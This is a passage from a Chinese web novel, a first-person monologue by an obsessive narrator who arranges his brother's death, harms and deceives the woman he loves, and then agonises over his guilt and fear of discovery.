人间蒸发了般,甚至是连一点的蛛丝马迹,都毫无线索。
我曾经无数次地告诉自己,她只是搬离了那里,且被别人收留了。我的诺诺,
可爱的小女孩,只是在与我捉迷藏罢了,她在惩罚我,怪我当年的不辞而别。
但是,一切的一切都只是我的自圆其说罢了,只是我自己在给自己减少罪恶
感罢了……
诺诺,我的诺诺,难道你就真的一点都不想念你的语哥哥吗?!语哥哥好想
你啊,真的真的好想你,想你想得快要窒息了,没有你在身边,周围的一切就像
是万般凝聚的空气,致使我无法透过气来。
诺诺,我的诺诺,你放心,语哥哥马上就要来找你了。马上,我们就可以永
远在一起了,就像当年一样,永远地在一起,幸福的沉沦。
诺诺,我的诺诺,我幻想着与你第一次见面的情形,你会哭骂着向我抱怨,
还是兴奋地投入我的怀抱,亦或是冷漠地恨我于入骨?!所有的一切一切我都会
欣然接受。
诺诺,我的诺诺,时至今日,我还不敢去幻想,不愿去奢望,你会原谅我。
我只希望你可以让我永远地呆在你的身边,不管会付出何种代价,用得何种
手段,我都不会再放开你的手,让你再有机会从我的生命里消失。
诺诺,我的诺诺,知道吗?你只属于我一个人,属于宋子非一人。我绝不会
让别人有任何机会可以接近你,缠延在你的身边,哪怕那人是我的亲人。知道吗?
在你的生命里,我才是你的唯一。别人的别人,只不过是这个世界上的一粒
沙尘罢了。
* * * 宋子文,我的大哥。那个帮助我的母亲踏入深渊的道具,我从未想过,
我会与他为敌。不为别的,只为了我的可爱小女孩。
那个曾经承诺了会永远呆在我身边的可爱小女孩,那个曾经说过即使我不见
了,她也会找到我的可爱小女孩。
为什么?为什么?我愤恨地捋起右手臂的衣袖,望着那手臂上淡不可见的伤
疤,所有的一切都已变得毫无意义。
我可爱的小女孩,已经与别人订了终身。她忘了,她已经忘了我了,投入到
了另一个人的怀抱。
为什么?为什么?那个人会是我的大哥。我望着自己手臂上的伤疤,那个曾
经为我们私定了一生的海誓山盟的契约。
我说过的,我不会再有机会让你有机会从我生命中第二次消失。无论是谁,
都不可以把你从我的身边带离,哪怕那人是我的亲人。
宋子文,不要怪我。你我从没有过相同的回忆,从未有过任何的兄弟情谊。
在你我身上,唯一的相似点只不过我们都流着同样的血液,肮脏而糜烂的血
液。
宋子文,你应该知道的,不是吗?你这一生,从未有过任何地波折,一帆风
顺。为何,你我都流着那人的血液,待遇却有着如此天差地别的不同。
宋子文,这是你的命。你我,本不会有任何的交集,我亦不会让你知道我还
存在于这个世上。然,命运弄人,怪只能怪,谁让你夺走了属于我的那一缕阳光
呢?!
我知道,你的消失,对于她来说是痛苦的,甚至会因此而痛彻心扉。但是,
我可以向全世界保证,这只不过是暂时的。因为,不久之后,全世界都会知道,
我才是她最终的归宿,她才是我此生的唯一。
宋子文,我亲爱的大哥。敬你,预祝你在黄泉路上,一帆风顺,就如你的这
一生……
* * * 怎么可能?!事情怎么会这样?!
在那个阴雨绵绵的令人厌恶的日子,当我再次出现在我可爱的小女孩面前时,
她的眼中对我是全然的陌生与漠然。
不应该是这样的,为何一切的一切都偏离了正常的轨道?!
我极力掩饰着自己的失落与痛苦,强力镇定地参加完宋子文的葬礼。然,除
了当初我出现在墓园对我的短暂一瞥,我可爱的小女孩便再也没有正视于我。
我痛心地任由指尖深嵌于我的手心,流出殷殷的鲜血。谁都不会知道,墨镜
下的双眼,有着怎样的绝望。
诺诺,我的诺诺,我绝不允许你忘了我。我曾设想了你见到我的种种场面,
却,唯独于此。我发誓,你们之间,就算是只留有恨,我也会想尽一切让你折服
于我的身前……
* * * 有些事物注定了是要纠缠一辈子的,就象是我与诺诺之间的孽缘。
我从未想到我可爱的小女孩居然会是“神龙”的唯一继承人,看来梓嫒这个
女人的能力真的非同小可啊,无论是在床上还是床下,都是个能把男人玩弄于鼓
掌之间的淫妇啊。
戟展枭果然是只老狐狸,自从得到了我可爱的小女孩之后,便开始着手把黑
道上的事业往白里漂。我想,对于他来说,就连是他的儿子都不及我的诺诺来得
重要吧。
世人都知道戟展枭的孙女是个在外生出的野种,是如何地上不了厅堂,“神
龙”当家的也从未把她放在眼里,她只不过是个幸运地流着戟家血液的孽种罢了。
不过,戟展枭,你始终算错了一步。你以为你对她的不闻不问,不理不睬,
就可以磨灭了你对她的罪恶以及你本身的丑陋不堪吗?!
本我无意让你付出任何代价,我只要我可爱的小女孩回到我的身边便可。
我明白,你只不过是想要掩盖自己的丑陋事实罢了。然,你却做错了一件你
今生最大的错事,你千不该万不该的便是试图抹灭她的记忆,使我的诺诺忘记了
她的语哥哥,忘记了一切……
我从未怀疑过“神龙”的势力,但是,可悲的是,戟展枭,你这英明一世,
处处小心,却又仍如此地不小心,尽落下了个如此把柄在我的手上。
戟老大,您说?!若我不善加利用于此,又怎对得起您,又如何来偿还我所
受的地狱之锥?!
我早就说过,“神龙”有着“夜王”所不能及的密训组织,也从未敢诋毁伟
大医龙的能力。我明白,我的诺诺恐怕这辈子都无法再恢复此身的记忆。
故,戟展枭,我要你协助我,协助我重新得到我可爱的小女孩。
我不管我的诺诺也许会因此而再来无法原谅我,我亦顾不得我的诺诺是否会
痛恨我于入骨,而想把我粉身碎骨。我只要我的诺诺能够回到我的身边,待在我
的身边,我只愿我的诺诺可以一辈子与我在一起。
这样,我便不会再有所有。哈哈哈……我知道自己已经疯了,疯得彻底,疯
得触目,疯得惊心。
我可爱的小女孩,让我们彼此之间爱恨交织,纠缠一生吧……
* * * 诺诺,我可爱的小女孩,怎么办?我到底该拿你如何?
望着你一天一天消瘦下去,我却无能为力,唯独对你更加地残忍与嗜血。我
不想的,我真的不想的,我只是想让你多看我一眼,可以让我在你的心中多驻扎
一寸,我只是奢望你可以记起你的语哥哥,奢望着我们以后可以幸福地在一起。
然,谁都知道,这只不过是我做的梦罢了,可悲的,可笑的,可耻的。
诺诺,我可爱的诺诺,我真的不是有意伤害你的,伤害着你身边重视的人。
我……我只是控制不了自己,看到你重视着那些男人胜过于我,我的心中便
滋生出了丑陋,恶心的嫉妒之心,即便是对那些还未成形的血水,我的心便会溃
烂,腐败不堪。
诺诺,我的诺诺,放心,我答应你,今后我会好好地对你,让你可以安心地
待在我的身边。
只要你听话,乖乖地待在我的身边,哪儿也不去,我发誓,我不会再伤害你
了,我绝不会再做出那些疯狂而嗜血的行为。
可是……可是你为什么?!告诉我,你到底是为什么要这样做?!难道是我
对你还不够好吗?!对你还不够善解吗?!对你还不够体贴吗?!
诺诺,我的诺诺,如果我做得不够好,我可以改啊,只要你告诉我,乖乖地
待在我的身边,我肯定会努力地改掉。
诺诺,我的诺诺,你为何就不肯给我个机会呢?!让我一步一步地深陷下去,
直到再也无法自拔。我知道,自己已经完全跌落到了地狱的最深处,永远都见不
到那专属于我的那一缕阳光了。
诺诺,我的诺诺,我是被逼的,真的,对你,我已无计可施。若我再不把你
一起拉下地狱,那么我将会永远迷茫在这一片黑暗中,只要你在我的身边,不管
是在哪里,我都愿意去,愿意陷,愿意沉……
诺诺,我的诺诺,不要怪我。对你,我只能出此下策,不然,你将永远都无
法安心地待在我的身边……
Chapter.21如果说,一切的一切都可以让我重新选择的话,我将会待以何种
方式来诉说表达,又将会用以何种方法来让她回到我的身边。
是否还会如现今这般,亦或是别样?然,答案却不得所知,我亦无从得知。
我眼前这个,我深深爱着的女人现如今就犹如是个失了灵魂般的傀儡,毫无
生气。难道我真的用错了方法了吗?
呵呵,废话,我只不过是不愿意去承认罢了。我知道,一开始,我便走错了
第一步,紧接着一错再错,直到到现在的不可收拾为止。
诺诺,怎么办?望着你日渐消瘦的身躯与苍白的脸孔,我心痛无比,犹如刀
割。可我却没有任何办法,反而仍一而再,再而三地伤害你,欺骗你,直到你心
力交瘁。
诺诺,我好怕。怕有一天你发现了太多的秘密,无论是以前还是现在。你都
将会毫不犹豫地选择离我而去,直到我找不到。我真的好怕,好怕,怕到我的呼
吸都要窒息了般。
诺诺,我时常会想。假若我消失在这个世界上,也许是最好的解脱,对我,
对你亦是。可是,我却没有勇气,我没有勇气去面对见不到你的日子。那样的世
界,就象是个无底的深渊般,不断地向我袭来,无情地吞噬于我。
诺诺,我知道你已经恢复了记忆,也记起了曾经的那个语哥哥,但却不完整。
我好累,累到整天提心吊胆,怕你不知道在什么时候你会忆起那论谁都不愿
去记起的过往,怕你会真的崩溃。
我轻轻地牵动着右手的指关节,自嘲的笑意浮上眼帘……
我重重地捶打着自己的左胸口,痉挛的心脏痛苦地致使人无法呼吸。如果诺
诺知道了,那是否就说明了一切都已经到了尽头。
哈哈哈……哈……哈哈……痛苦的笑魇,是如此地疲惫。我真的难以想像诺
诺假若真的知道了所以的真相,会怎样?
我开始后悔了,每天夜里,都在汗涔淋漓中惊醒。每天我亦都在提心吊胆中
活着,生怕自己会泄露了一切的谎言。如果真是那样,我便也真的再不会有任何
翻身的机会了。
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“诺诺”。我的左手轻握住她的手,似是在诉说着无尽的爱意,却更似在忏
悔着自己所做过的一切。
自从我的右手受伤后,已经一个多月了。每每,她总是会细心地站在我的左
边,任何事物她都贴心地交至我的左手。
诺诺没有回答我,只是耐心地等着我说下去。
我迷恋地望着眼前深爱的女人,她,最近真的消瘦了好多,整个人亦毫无神
采。就连比起当初她因为我的不堪折磨而整个人的神智都开始变得有些恍惚时都
不如。
甚至,她的话比以前更少了,虽说一直以来,在我的面前,她从来都是个少
言的人,除了13年前。
那年的她,是个爱碎碎念的小女孩,整个人虽然枯瘦如柴,但却天真无邪。
在我的面前,她永远都无法停止说话,樱桃般的粉嫩小嘴一张一合,好似可
爱,让人总是不禁忍不住想要俯上身去咬一口。
我总是爱宠溺地看着她,听她说话,仿佛整个世界只有我们两个般。也许,
在我这一生,只有那段在那个被人遗弃了的破坟场里才算是我真正的人生罢。
那时的我,是只属于我的诺诺的语哥哥,甚至知道怎样发自内心的笑,怎样
真诚地去爱人,以及知道怎样才算是真正地活下去。
然而,从什么时候开始,我又回到了那个生活在宋子非的躯壳下的男人。更
甚于,在不知不觉间,把那个可爱纯洁天真无邪的小女孩给遗失了。
望着她的苍白俏颜,我的心真的好痛,痛到我无法呼吸。我真的想要一辈子
都好好地呵护于她,保护于她,爱护于她。然,一切的一切都只不过是过眼云烟,
毫无意义,亦可笑至极。
现在的她,只除了脸上那化不开的愁云以及无尽的自我压迫,便再也找不到
任何迹象了。我到底该怎么做,她才能回到那年冬天呢?!
那个平安夜的失约,是我一生的痛魇……
那个圣诞节的清晨,是我一生的梦魇……